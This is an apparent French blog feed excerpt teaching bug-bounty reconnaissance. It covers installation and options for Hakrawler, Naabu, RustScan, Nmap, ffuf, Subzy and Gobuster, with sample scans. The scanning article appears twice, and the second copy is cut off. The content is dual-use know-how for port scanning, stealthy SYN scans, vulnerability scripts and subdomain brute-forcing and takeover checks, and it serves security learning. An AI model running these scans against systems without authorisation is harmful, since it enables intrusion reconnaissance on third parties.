<p>Pour installer Hakrawler, utilisez la commande suivante:</p>
<pre><code class="lang-python">go get -u github.com/hakluke/hakrawler
</code></pre>
<h3 id="heading-options-13">Options</h3>
<ul>
<li><p><code>hakrawler -h</code> : cette option affiche toutes les options de hackrawler</p>
</li>
<li><p><code>echo [URL] | hakrawler -t [INT] -d [INT] -t [INT] | grep "STRING"</code></p>
<ul>
<li><p>la commande <code>echo</code> envoie l’URL en tant qu’entrée à Hakrawler via le pipe <code>|</code></p>
</li>
<li><p>l’option <code>-t</code> pour threads, définit le nombre de requêtes simultanées pour accélerer l’exploration. Cela permet de crawler plusieurs pages à la fois</p>
</li>
<li><p>l’option <code>-d</code> définit la profondeur du crawl</p>
</li>
<li><p>l’option <code>-t</code> fixe le délai dattente pour chaque requête. Passé ce délai, la requête d’exploration est abandonnée si elle ne recoit aucune réponse</p>
</li>
<li><p>l’option <code>grep</code> filtre les résultats du hakrawler selon le string défini</p>
</li>
</ul>
</li>
<li><p><code>cat sites.txt | hakrawler -subs -json</code></p>
<ul>
<li><p>le contenu du fichier “sites.txt” est lu (une URL par ligne) et redirigé à Hakrawler via le symbole pipe <code>|</code></p>
</li>
<li><p>l’option <code>-subs</code> indique qu’il faut analyser aussi les sous-domaines liés à chaque url dans le fichier</p>
</li>
<li><p>l’option <code>-json</code> retourne les résultats en format JSON</p>
</li>
</ul>
</li>
</ul>
<p>La photo ci-dessous montre une exécution de l’outil. La commande explore le site avec une profondeur d'exploration de 2 niveaux, incluant les sous-domaines et affiche les résultats en format JSON</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731956445243/c55b4f64-2543-4466-97f6-778f3b698333.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-scan">Scan</h1>
<p>Le scan d’un réseau ou d’une application permet d’identifier des vulnérabilités sur les services ou des applications qui s’exécutent. C’est une étape assez cruciale qui permet de détecter des failles de sécurité potentielles. Plusieurs outils de scan peuvent être utilisés dans ce cas.</p>
<p>Il existe plusieurs type de scans:</p>
<ul>
<li><p><strong>le scan de ports</strong> permet d’identifier des ports ouverts sur un système. Ces ports peuvent donc indiquer des services actifs qui peuvent être exploitées. <code>Nmap</code> est l’outil le plus connu utiliser pour ce type de scan. Il existe aussi <code>Naabu</code> ou encore <code>Rustscan</code>.</p>
</li>
<li><p><strong>le scan web</strong> permet d’explorer les applications web dans le but de détecter des failles commes les injections SQL, les failles XSS, CSRF et d'autres vulnérabilités spécifiques aux applications web. Des outils comme <code>Nikto</code>, <code>Burp Suite</code> peuvent être utilisés pour ce type de scan</p>
</li>
<li><p><strong>le scan réseau</strong> permet d’analyser l’ensemble d’un réseau dans le but d’identifier les appareils connectés, les services et aussi les configurations réseau pouvant être vulnérables</p>
</li>
<li><p><strong>le scan de vulnérabilités</strong> permet de rechercher des failles de sécurité qui sont connues dans les systèmes. Ils sont généralement utilisés dans le cadre d’audit de sécurité et fournissent des rapports détaillés. Des outils comme <a target="_blank" href="https://www.tenable.com/products/nessus"><code>Nessus</code></a>, <a target="_blank" href="https://www.qualys.com/"><code>Qualys</code></a> peuvent être utilisés dans ce cas. Ces deux outils sont payants, mais disposent aussi de plans limités qui sont gratuits. Nikto peut aussi être utilisé.</p>
</li>
</ul>
<h2 id="heading-naabu">Naabu</h2>
<p>Naabu est un scanner de ports devéloppé par <a target="_blank" href="https://projectdiscovery.io/">Project Discorvery</a> et écrit en lagange Go, pour identifier les services ouverts sur une machine ou un réseau. Il est connu pour être plus rapides, avec beaucoup d’options, comme le fait de pouvoir exclure des ports, scanner toute une liste de ports ou encore le combiner avec Nmap pour avoir des résultats plus détaillés. Vous pouvez l’installer directement via <a target="_blank" href="https://github.com/projectdiscovery/naabu">Github</a>.</p>
<p>Installez d’abord Go sur votre machine avec la commande suivante:</p>
<pre><code class="lang-python">sudo apt install golang-go
</code></pre>
<p>Installez ensuite l’outil Naabu</p>
<pre><code class="lang-python">go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
</code></pre>
<h3 id="heading-options-14">Options</h3>
<ul>
<li><p><code>naabu -h</code> : l’option <code>-h</code> permet de lister toutes les options de Naabu</p>
</li>
<li><p><code>naabu -host [DOMAIN/IP] -exclude-ports [PORT,PORT] -json</code></p>
<ul>
<li><p>l’option <code>-host</code> définit le domaine ou l’adresse IP à scanner</p>
</li>
<li><p>l’option <code>-p</code> permet de scanner un port spécifique</p>
</li>
<li><p>l’option <code>-exclude-ports</code> permet d’exclure des ports lors du scan</p>
</li>
<li><p>l’option <code>-json</code> permet d’avoir les résultats en format JSON</p>
</li>
</ul>
</li>
<li><p><code>naabu -list [domains.txt] -o [output.json</code>]</p>
<ul>
<li><p>L’option <code>-list</code> ou <code>-l</code> effectue un scan avec un fichier contenant une liste de domaines ou d’adresses IP</p>
</li>
<li><p>l’option <code>-o</code> pour sauvegarder les résultats dans un fichier</p>
</li>
</ul>
</li>
<li><p><code>naabu -host [DOMAIN/IP] -p [PORTS] -nmap-cli 'nmap -sV -Pn'</code></p>
<ul>
<li><p>L’option <code>-nmap-cli</code> permet d’exécuter la commande nmap directement sur les résultats obtenus. Nmap doit être déjà installé pour que ca fonctionne.</p>
</li>
<li><p>Cette commande exécute Naabu pour scanner les ports spécifiés sur le domaine puis lance le service nmap sur chaque port.</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727275114325/257b5e06-9e0e-41f8-9ec8-2c8f78d320ae.png" alt class="image--center mx-auto" /></p>
<p>Il est aussi possible de combiner Naabu avec ASNmap avec la commande suivante:</p>
<pre><code class="lang-python">asnmap -a ASXXXX -silent | naabu -p <span class="hljs-number">22</span>,<span class="hljs-number">80</span> -silent
</code></pre>
<p>Cette commande va d’abord récupérer les plages d’adresses IP associées à l’ASN en mode silent et ensuite scanner les ports 22 et 80 avec Naabu. Si vous n’êtes pas familier avec ASNMAP, vous pouvez lire un article à ce sujet <a target="_blank" href="https://blog.fikara.io/recon#heading-asnmap">ici</a>.</p>
<h2 id="heading-rustscan">Rustscan</h2>
<p>RustScan est aussi un scanner de ports, écrit en langage Rust, beaucoup plus rapide et capable d’intégrer des outils comme Nmap pour des analyses plus détaillées. RustScan redirige directement ses résultats vers Nmap pour d’autres anlayses. Il est aussi possible de les modifier à votre guise.</p>
<p>Vous pouvez accéder au dépôt depuis la biliothèque officiel sur <a target="_blank" href="https://github.com/RustScan/RustScan">Github</a>.</p>
<h3 id="heading-telechargement-sur-kali-linux">Téléchargement sur Kali Linux</h3>
<p>Téléchargez le fichier d’installation depuis le terminal. Il existe plusieurs versions de Rustscan.</p>
<pre><code class="lang-python">wget https://github.com/RustScan/RustScan/releases/download/<span class="hljs-number">2.0</span><span class="hljs-number">.1</span>/rustscan_2<span class="hljs-number">.0</span><span class="hljs-number">.1</span>_amd64.deb
</code></pre>
<p>Allez vers le dossier Downloads et modifiez les permissions du fichier installé en le rendant exécutable.</p>
<pre><code class="lang-python">cd Downloads
sudo chmod +x rustscan_2<span class="hljs-number">.0</span><span class="hljs-number">.1</span>_amd64.deb
</code></pre>
<p>Installez le package Debian</p>
<pre><code class="lang-python">sudo dpkg -i rustscan_2<span class="hljs-number">.0</span><span class="hljs-number">.1</span>_amd64.deb
</code></pre>
<p>En cas de problèmes, exécutez la commande suivante:</p>
<pre><code class="lang-python">sudo apt update
sudo apt upgrade
</code></pre>
<p>Si vous rencontrez des problèmes de dépendances, exécutez la commande suivante :</p>
<pre><code class="lang-python">sudo apt-get install -f
</code></pre>
<p>RustScan devrait être maintenant installé .</p>
<h3 id="heading-options-15">Options</h3>
<ul>
<li><p><code>rustscan -a [DOMAINE/IP] -p [PORT,PORT] -b -g</code></p>
<ul>
<li><p>l’option <code>-a</code> spécifie l’adresse ou le domine cible</p>
</li>
<li><p>l’option <code>-p</code> permet de spécifier un ou plusieurs ports</p>
</li>
<li><p>l’option <code>-b</code> permet de limiter la bande passante et éviter de surcharger le réseau pendant le scan.</p>
</li>
<li><p>l’option <code>-g</code> simplifie l’analyse qui n'affiche que les ports ouverts détectés, sans les détails de Nmap</p>
</li>
</ul>
</li>
<li><p><code>rustscan -a [DOMAINE/IP] -- -sV --script vuln</code></p>
<ul>
<li><p>l’option <code>--</code> termine les arguments de RustScan. Tous les argument suivants sont directement passés à Nmap</p>
</li>
<li><p>l’option <code>-sV</code> de Nmap pour active la détection des services et leurs versions sur les ports ouverts</p>
</li>
<li><p>l’option <code>--script vuln</code> détecte les vulnérabilités sur les services</p>
</li>
</ul>
</li>
</ul>
<p>Ici on scanne les ports 22,80 et 445 de l’adresse 192.168.2.96. Le double-tiret indique les options sont passées à Nmap, avec l’option <code>-sV</code>, pour détecter la version des services.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727278498585/6361b167-60f4-4f3d-a954-9a44ed375139.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-nmap">Nmap</h2>
<p>Nmap est un outil de scan qui permet aussi d’analyser un réseau ou une application web pour identifier des vulnérabilités potentielles. Il est utilisé pour scanner les ports et identifier les services actifs.</p>
<p>La documentation officielle de ffuf se retrouve sur <a target="_blank" href="https://nmap.org/">le site officiel</a>.</p>
<p>Pour installer nmap , utilisez la commande suivante:</p>
<pre><code class="lang-plaintext">sudo apt install nmap
</code></pre>
<h3 id="heading-options-16">Options</h3>
<ul>
<li><p><code>nmap -h</code> : l’option <code>-h</code> permet de lister toutes les options de nmap</p>
</li>
<li><p><code>nmap -sn 192.168.1.0/24</code></p>
<ul>
<li><p>Cette commande exécute un scan de découverte réseau aussi appelé ping scan. Elle scanne toute les adresses dans la plage 192.168.1.1 à 192.168.1.254.</p>
</li>
<li><p>L’option <code>-sn</code> indique à nmap de ne pas effectuer de scan de ports, mais vérifie simplement les hôtes actifs sur le réseau</p>
</li>
</ul>
</li>
<li><p><code>nmap -sS -sV -O --script vuln [IP_ADRESS]</code></p>
<ul>
<li><p>l’option <code>-sS</code> effectue un scan SYN rapide et discret. Il n’établit pas de connexion complète avec la cible,ce qui rend l’analyse moins visible par des sytèmes de détection par exemple.</p>
</li>
<li><p>l’option <code>-sV</code> permet de détecter les versions des services en cours sur les ports ouverts sur la machine</p>
</li>
<li><p>l’option <code>-O</code> permet de déterminer le système d’exploitation de la cible</p>
</li>
<li><p>l’option <code>--script vuln</code> exécute des scripts qui permettent de détecter les vulnérabilités connues sur la cible.</p>
</li>
</ul>
</li>
<li><p><code>nmap -T4 -sC -p 80,21 [IP_ADRESS]</code></p>
<ul>
<li><p>l’option <code>-T4</code> permet de définir le niveau d'agressivité du scan et va de -T0 à T5. Cela permet de définir la vitesse d’exécution du scan, ce qui peut la rendre plus rapide, mais aussi détectable par des systèmes de d'étection</p>
</li>
<li><p>l’option <code>-sC</code> exécute les scripts par défaut de nmap via le Nmap Scripting Engine (NSE) pour la détection de versions et la recherche de vulnérabilités.</p>
</li>
<li><p>l’option <code>-p</code> spécifie les ports à scanner</p>
</li>
</ul>
</li>
</ul>
<p>Voici un document qui détaille toutes les options de nmap : <a target="_blank" href="https://cdn.comparitech.com/wp-content/uploads/2019/06/Nmap-Cheat-Sheet.pdf">Nmap-Cheat-Sheet.pdf</a></p>
<pre><code class="lang-plaintext">nmap -T4 -sC -sV 10.192.160.244
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733153445393/a81339b2-9939-4b0d-9dde-3fde98a041fc.png" alt class="image--center mx-auto" /></p>
<p>La commande suivante utilise l’outil nmap pour une analyse sur l’adresse 10.192.160.244. On voit donc que 4 ports TCP ont été trouvés ainsi que des services ssh, dnsmasq et http.</p>
<hr />
<h1 id="heading-brute-force-sur-les-sous-domaines">Brute Force sur les sous-domaines</h1>
<p>Le brute-force de sous-domaines est une méthode utilisée pour découvrir des sous-domaines associés à un domaine principal. Elle consiste à essayer une liste de mots pour évaluer des sous-domaines potentiels afin de vérifier leur réel existence. Ces sous-domaines peuvent parfois révéler des services, des applications vulnérables. Nous décrirons quelques outils utilisés pour cette technique.</p>
<h2 id="heading-ffuf">Ffuf</h2>
<p>Fast fuzzer (ffuf) est un outil outil open-source de fuzzing et de force brute, écrit en langage Go, utilisé pour découvrir des ressources web telles que des fichiers, des répertoires, et des sous-domaines. Le fuzzing est une méthode qui consiste à envoyer des données aléatoires, mal formées ou anormales à un système pour tester ses réponses, ce qui pourrait conduire à la découverte de vulnérabilités.</p>
<p>Un article décrivant l’outil ffuf au complet est disponible <a target="_blank" href="https://blog.fikara.io/ffuf-fast-fuzzer">ici</a>. Dans ce présent article, nous décrirons juste son utilisation dans le brute force de sous-domaines pour découvrir des sous-domaines associés à un domaine principal</p>
<p>La documentation officielle de ffuf se retrouve sur <a target="_blank" href="https://github.com/ffuf/ffuf">GitHub</a>.</p>
<p>Pour installer ffuf, utilisez la commande suivante:</p>
<pre><code class="lang-python">git clone https://github.com/ffuf/ffuf
cd ffuf
go get
go build
<span class="hljs-comment">#La commande suivante rend ffuf disponible depuis nimporte quelle répertoire</span>
sudo ln -s ~/go/bin/ffuf /usr/sbin/ffuf
</code></pre>
<h3 id="heading-options-17">Options</h3>
<ul>
<li><p><code>ffuf -h</code> : l’option <code>-h</code> permet de lister toutes les options de ffuf</p>
</li>
<li><p><code>ffuf -u http://FUZZ.site.com -w [wordlists/common.txt]</code></p>
<ul>
<li><p>l’option <code>-u</code> permet de spécifier l’URL à analyser. Cette option est obligatoire. La commande remplacera le terme “FUZZ“ dans l’URL par chaque mot de la liste et envoie une requête http à cette URL. Le paramètre FUZZ est placé ici, avant le domaine principal indiquant l’endroit où ffuf remplacera chaque mot de la liste pour tester des sous-domaines. Cela permettra donc de découvrir les sous-domaines potentiels.</p>
</li>
<li><p>l’option <code>-w</code> spécifie le chemin du fichier contenant la liste de mots à utiliser pour le fuzzing (option obligatoire)</p>
</li>
<li><p>Chaque requête envoyée retournera donc un statut http de la réponse. En fonction de ce que l’on cherche à découvrir, un statut peut avoir une interprétation différente. Si par exemple on veut accéder à une page qui n’existe pas, mais on obtient un statut 200, cela indique une faille ou une mauvaise configuration.</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731252109970/06675534-cfb2-4db3-af33-17aa25438797.png" alt class="image--center mx-auto" /></p>
<p>Avec cette requête, on obtient un statut 200 qui indique donc que le chemin <code>http://ffuf.me/cd/basic/class</code> existe sur le serveur. Le fichier <code>development.log</code> existe aussi sur ce même serveur.</p>
<h2 id="heading-subzy">Subzy</h2>
<p>Subzy est un outil utilisé pour détecter et prendre le contrôle (subdomain takeover) de sous-domaines vulnérables. Il s’utilise généralement lorsque des sous-domaines pointent vers des services inactifs ou mal configurés, favorisant ainsi une exploitation. Cet outil vérifie les sous-domaines pour voir s’ils sont configurés pour des services ne sont plus en usage.</p>
<p>Une documentation officielle se retrouve sur <a target="_blank" href="https://github.com/PentestPad/subzy">GitHub</a>.</p>
<p>Pour installer Subzy, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install -v github.com/PentestPad/subzy@latest
</code></pre>
<h3 id="heading-options-18">Options</h3>
<ul>
<li><p><code>subzy -h</code> : l’option <code>-h</code> permet de voir la liste de toutes les options de Subzy</p>
</li>
<li><p><code>subzy run -h</code>: affiche les détails de la commande run de Subzy, qui détaille les options disponibles pour exécuter des vérifications de sous-domaines.</p>
</li>
<li><p><code>subzy run --target [URL] --output [STRING] --https</code></p>
<ul>
<li><p>l’option <code>--target</code> permet de spécifier un ou plusieurs domaines, séparés par une virgule.</p>
</li>
<li><p>l’option <code>--output</code> spécifie un fichier de sortie en format JSON des résultats</p>
</li>
<li><p>l’option <code>--https</code> force l’utilisation du protocole https pour les requêtes. Il est désactivé par défaut. Cela signifie que si un sous-domaine est spécifié sans protocole http://site.com, il sera testé avec https://site.com.</p>
</li>
</ul>
</li>
<li><p><code>subzy run --targets [PATH/TO/FILE] --hide_fails --verify_ssl</code></p>
<ul>
<li><p>l’option <code>--targets</code> permet de spécifier un fichier contenant une liste de sous-domaines à tester.</p>
</li>
<li><p>l’option <code>--hide_fails</code> permet de masquer les résultats échoués. Seuls ceux qui réussissent (vulnérables) sont affichés.</p>
</li>
<li><p>l’option <code>--verify_ssl</code> permet de ne pas vérifier les sites avec des certificats SSL non sécurisés</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731262469407/ff0098b7-8d82-43e0-b1ca-2880b3a6032a.png" alt class="image--center mx-auto" /></p>
<p>Le message [NOT VULNERABLE] indique que les sous-domaines <code>00.paydiant.com</code> et <code>11.paydiant.com</code> ne sont pas vulnérables à une prise de contrôle avec l’outil Subzy.</p>
<h2 id="heading-gobuster">Gobuster</h2>
<p>Gobuster est outil écrit en langage Go utilisé pour le brute-force de répertoires et de sous-domaines. L’outil utlilise des listes mots qui peuvent être personnalisées afin de découvrir des sous-domaines cachés ou non référencés publiquement d'un domaine cible. Cet outil se distingue par sa rapidité par rapport aux autres outils.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/OJ/gobuster">GitHub</a>.</p>
<p>Pour installer Gobuster, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install github.com/OJ/gobuster/v3@latest
</code></pre>
<h3 id="heading-options-19">Options</h3>
<ul>
<li><p><code>gobuster -h</code> permet de lister toutes les options de Gobuster</p>
</li>
<li><p>Il existe plusieurs modes pour utiliser l’outil gobuster</p>
</li>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731958801554/f6c62b0b-ad71-49d1-b5c7-757620170b93.png" alt class="image--center mx-auto" /></p>
</li>
<li><ul>
<li><p><code>dns</code> pour énumérer des sous-domaines DNS pour identifier des sous-domaines d'un domaine.</p>
<ul>
<li><p><code>dir</code> énumère les répertoires/fichiers pour découvrir des chemins sur un serveur web.</p>
</li>
<li><p><code>fuzz</code> utilise le fuzzing sur les URLs en remplaçant le mot-clé FUZZ dans l'URL, les en-têtes et le corps de la requête pour tester différentes entrées.</p>
</li>
<li><p><code>tftp</code> utilise l’énumération des serveurs TFTP (Trivial File Transfer Protocol)</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><code>gobuster [MODE] -h</code> permet de lister les options de chaque mode</p>
</li>
<li><p><code>gobuster dir -u http://site.com -t 7 -w /PATH/TO/FILE -x php,html</code></p>
<ul>
<li><p>l’option <code>dir</code> indique le mode utilisé, l’énumération de répertoires/fichiers</p>
</li>
<li><p>l’option <code>-u</code> spécifie l’URL cible</p>
</li>
<li><p>l’option <code>-t</code> permet de définir le nombre de threads à utiliser pour rendre l'exploration plus rapide.</p>
</li>
<li><p>l’option <code>-x</code> indique à l’outil d’explorer uniquement les répertoires avec les extensions spécifiées</p>
</li>
<li><p>l’option <code>-w</code> spécifie le chemin vers la liste de mots à utiliser.</p>
</li>
</ul>
</li>
<li><p><code>gobuster dns -d site.com -q -w /PATH/TO/FILE -i</code></p>
<ul>
<li><p>l’option <code>dns</code> indique qu’il s’agit d’un brute force de sous-domaines</p>
</li>
<li><p>l’option <code>-d</code> spécifie le domaine cible</p>
</li>
<li><p>l’option <code>-q</code> active le mode silencieux pour réduire la sortie à l’écran et l’information inutile</p>
</li>
<li><p>l’option <code>-i</code> permet d’afficher les adresses IPs</p>
</li>
</ul>
</li>
</ul>
<p>En exécutant la commande <code>gobuster dns hackerone.com -i -w common.txt</code>, on voit que plusieurs sous-domaines ont été trouvés, avec des adresses IPs associées. La liste de mots a été utilisée pour tester les sous-domaines potentiels. Chaque entrée est ajoutée à hackerone.com pour vérifier si le sous-domaine existe.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731961584716/51e728d6-b146-4587-af3f-0fe49b2de0b6.png" alt class="image--center mx-auto" /></p>
<p>La commande <code>gobuster fuzz -u https://hackerone.com/FUZZ -w common.txt</code> utilise le mode fuzzing pour tester différentes entrées sur le site spécifié. Le paramètre FUZZ sera remplacé par les mots de la liste fournie. On voit que les certaines ressources demandées n’ont pas été trouvées sur le serveur qui a répondu avec un statut d’erreur 404.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731977984744/547e2ff2-9054-476b-bb16-360b41f13431.png" alt class="image--center mx-auto" /></p>
<p>On pourrait donc essayer de filtrer les résultats et ignorer le statut 404 avec l’option <code>-b</code> ou <code>--excludestatuscodes</code> .</p>
<p>Plusieurs autres outils peuvent être utilisés dans ce cas, comme Sublist3r, Subfinder, ou encore <a target="_blank" href="https://blog.fikara.io/oneforall">OneForAll</a>.</p>
<p>Pour finir, la collecte d’informations, l'exploration des sous-domaines, la découverte de liens, le scan des services, et les attaques par force brute sont des étapes clés en bug bounty. En utilisant des outils comme Google Dorking, Subfinder, Naabu, ffuf, et Gobuster, il est possible de trouver des vulnérabilités cachées et maximiser les chances de détecter des failles</p>
<p><mark>À noter, qu’il est important de rappeler que l'utilisation de ces outils doit toujours se faire dans un cadre légal.</mark></p>
]]></content:encoded></item><item><title><![CDATA[Scanning]]></title><description><![CDATA[Le scan d’un réseau ou d’une application permet d’identifier des vulnérabilités sur les services ou des applications qui s’exécutent. C’est une étape assez cruciale qui permet de détecter des failles de sécurité potentielles. Plusieurs outils de scan...]]></description><link>https://blog.fikara.io/scanning</link><guid isPermaLink="true">https://blog.fikara.io/scanning</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[nmap]]></category><category><![CDATA[naabu]]></category><category><![CDATA[Rustscan]]></category><category><![CDATA[2Articles1Week]]></category><category><![CDATA[Hashnode]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Fri, 06 Dec 2024 05:00:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1733155932593/656a5025-7baa-4063-9444-a956e8389d4d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Le scan d’un réseau ou d’une application permet d’identifier des vulnérabilités sur les services ou des applications qui s’exécutent. C’est une étape assez cruciale qui permet de détecter des failles de sécurité potentielles. Plusieurs outils de scan peuvent être utilisés dans ce cas.</p>
<p>Il existe plusieurs type de scans:</p>
<ul>
<li><p><strong>le scan de ports</strong> permet d’identifier des ports ouverts sur un système. Ces ports peuvent donc indiquer des services actifs qui peuvent être exploités. <code>Nmap</code> est l’outil le plus connu utilisé pour ce type de scan. Il existe aussi <code>Naabu</code> ou encore <code>Rustscan</code>.</p>
</li>
<li><p><strong>le scan web</strong> permet d’explorer les applications web dans le but de détecter des failles commes les injections SQL, les failles XSS, CSRF et d'autres vulnérabilités spécifiques aux applications web. Des outils comme <code>Nikto</code>, <code>Burp Suite</code> peuvent être utilisés pour ce type de scan</p>
</li>
<li><p><strong>le scan réseau</strong> permet d’analyser l’ensemble d’un réseau dans le but d’identifier les appareils connectés, les services et aussi les configurations réseau pouvant être vulnérables</p>
</li>
<li><p><strong>le scan de vulnérabilités</strong> permet de rechercher des failles de sécurité qui sont connues dans les systèmes. Ils sont généralement utilisés dans le cadre d’audit de sécurité et fournissent des rapports détaillés. Des outils comme <a target="_blank" href="https://www.tenable.com/products/nessus"><code>Nessus</code></a>, <a target="_blank" href="https://www.qualys.com/"><code>Qualys</code></a> peuvent être utilisés dans ce cas. Ces deux outils sont payants, mais disposent aussi de plans limités qui sont gratuits. Nikto peut aussi être utilisé.</p>
</li>
</ul>
<h2 id="heading-naabu">Naabu</h2>
<p>Naabu est un scanner de ports devéloppé par <a target="_blank" href="https://projectdiscovery.io/">Project Discorvery</a> et écrit en langage Go, pour identifier les services ouverts sur une machine ou un réseau. Il est connu pour être plus rapide, avec beaucoup d’options, comme le fait de pouvoir exclure des ports, scanner toute une liste de ports ou encore le combiner avec Nmap pour avoir des résultats plus détaillés. Vous pouvez l’installer directement via <a target="_blank" href="https://github.com/projectdiscovery/naabu">Github</a>.</p>
<p>Installez d’abord Go sur votre machine avec la commande suivante:</p>
<pre><code class="lang-python">sudo apt install golang-go
</code></pre>
<p>Installez ensuite l’outil Naabu</p>
<pre><code class="lang-python">go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
</code></pre>
<h3 id="heading-options">Options</h3>
<ul>
<li><p><code>naabu -h</code> : l’option <code>-h</code> permet de lister toutes les options de Naabu</p>
</li>
<li><p><code>naabu -host [DOMAIN/IP] -exclude-ports [PORT,PORT] -json</code></p>
<ul>
<li><p>l’option <code>-host</code> définit le domaine ou l’adresse IP à scanner</p>
</li>
<li><p>l’option <code>-p</code> permet de scanner un port spécifique</p>
</li>
<li><p>l’option <code>-exclude-ports</code> permet d’exclure des ports lors du scan</p>
</li>
<li><p>l’option <code>-json</code> permet d’avoir les résultats en format JSON</p>
</li>
</ul>
</li>
<li><p><code>naabu -list [domains.txt] -o [output.json</code>]</p>
<ul>
<li><p>L’option <code>-list</code> ou <code>-l</code> effectue un scan avec un fichier contenant une liste de domaines ou d’adresses IP</p>
</li>
<li><p>l’option <code>-o</code> pour sauvegarder les résultats dans un fichier</p>
</li>
</ul>
</li>
<li><p><code>naabu -host [DOMAIN/IP] -p [PORTS] -nmap-cli 'nmap -sV -Pn'</code></p>
<ul>
<li><p>L’option <code>-nmap-cli</code> permet d’exécuter la commande nmap directement sur les résultats obtenus. Nmap doit être déjà installé pour que ca fonctionne.</p>
</li>
<li><p>Cette commande exécute Naabu pour scanner les ports spécifiés sur le domaine puis lance le service nmap sur chaque port.</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727275114325/257b5e06-9e0e-41f8-9ec8-2c8f78d320ae.png" alt class="image--center mx-auto" /></p>
<p>Il est aussi possible de combiner Naabu avec ASNmap avec la commande suivante:</p>
<ul>
<li><pre><code class="lang-python">        asnmap -a ASXXXX -silent | naabu -p <span class="hljs-number">22</span>,<span class="hljs-number">80</span> -silent
</code></pre>
</li>
</ul>
<p>Cette commande va d’abord récupérer les plages d’adresses IP associées à l’ASN en mode silent et ensuite scanner les ports 22 et 80 avec Naabu. Si vous n’êtes pas familier avec ASNMAP, vous pouvez lire un article à ce sujet <a target="_blank" href="https://blog.fikara.io/recon#heading-asnmap">ici</a>.</p>
<h2 id="heading-rustscan">Rustscan</h2>
<p>RustScan est aussi un scanner de ports, écrit en langage Rust, beaucoup plus rapide et capable d’intégrer des outils comme Nmap pour des analyses plus détaillées. RustScan redirige directement ses résultats vers Nmap pour d’autres anlayses. Il est aussi possible de les modifier à votre guise.</p>
<p>Vous pouvez accéder au dépôt depuis la biliothèque officiel sur <a target="_blank" href="https://github.com/RustScan/RustScan">Github</a>.</p>
<h3 id="heading-telechargement-sur-kali-linux">Téléchargement sur Kali Linux</h3>
<p>Téléchargez le fichier d’installation depuis le terminal. Il existe plusieurs versions de Rustscan.</p>
<pre><code class="lang-python">wget https://github.com/RustScan/RustScan/releases/download/<span class="hljs-number">2.0</span><span class="hljs-number">.1</span>/rustscan_2<span class="hljs-number">.0</span><span class="hljs-number">.1</span>_amd64.deb
</code></pre>
<p>Se déplacer vers le dossier Downloads et modifiez les permissions du fichier installé en le rendant exécutable.</p>
<pre><code class="lang-python">cd Downloads
sudo chmod +x rustscan_2<span class="hljs-number">.0</span><span class="hljs-number">.1</span>_amd64.deb
</code></pre>
<p>Installez le package Debian</p>
<pre><code class="lang-python">sudo dpkg -i rustscan_2<span class="hljs-number">.0</span><span class="hljs-number">.1</span>_amd64.deb
</code></pre>
<p>En cas de problèmes, exécutez la commande suivante:</p>
<pre><code class="lang-python">sudo apt update
sudo apt upgrade
</code></pre>
<p>Si vous rencontrez des problèmes de dépendances, exécutez la commande suivante :</p>
<pre><code class="lang-python">sudo apt-get install -f
</code></pre>
<p>RustScan devrait être maintenant installé .</p>
<h3 id="heading-options-1">Options</h3>
<ul>
<li><p><code>rustscan -a [DOMAINE/IP] -p [PORT,PORT] -b -g</code></p>
<ul>
<li><p>l’option <code>-a</code> spécifie l’adresse ou le domine cible</p>
</li>
<li><p>l’option <code>-p</code> permet de spécifier un ou plusieurs ports</p>
</li>
<li><p>l’option <code>-b</code> permet de limiter la bande passante et éviter de surcharger le réseau pendant le scan.</p>
</li>
<li><p>l’option <code>-g</code> simplifie l’analyse qui n'affiche que les ports ouverts détectés, sans les détails de Nmap</p>
</li>
</ul>
</li>
<li><p><code>rustscan -a [DOMAINE/IP] -- -sV --script vuln</code></p>
<ul>
<li><p>l’option <code>--</code> termine les arguments de RustScan. Tous les argument suivants sont directement passés à Nmap</p>
</li>
<li><p>l’option <code>-sV</code> de Nmap active la détection des services et leurs versions sur les ports ouverts</p>
</li>
<li><p>l’option <code>--script vuln</code> détecte les vulnérabilités sur les services</p>
</li>
</ul>
</li>
</ul>
<p>Ici on scanne les ports 22,80 et 445 de l’adresse 192.168.2.96. Le double-tiret indique les options sont passées à Nmap, avec l’option <code>-sV</code>, pour détecter la version des services.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727278498585/6361b167-60f4-4f3d-a954-9a44ed375139.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-nmap">Nmap</h2>
<p>Nmap est un outil de scan qui permet aussi d’analyser un réseau ou une application web pour identifier des vulnérabilités potentielles. Il est utilisé pour scanner les ports et identifier les services actifs.</p>
<p>La documentation officielle de nmap se retrouve sur <a target="_blank" href="https://nmap.org/">le site officiel</a>.</p>
<p>Pour installer nmap , utilisez la commande suivante:</p>
<pre><code class="lang-plaintext">sudo apt install nmap
</code></pre>
<h3 id="heading-options-2">Options</h3>
<ul>
<li><p><code>nmap -h</code> : l’option <code>-h</code> permet de lister toutes les options de nmap</p>
</li>
<li><p><code>nmap -sn 192.168.1.0/24</code></p>
<ul>
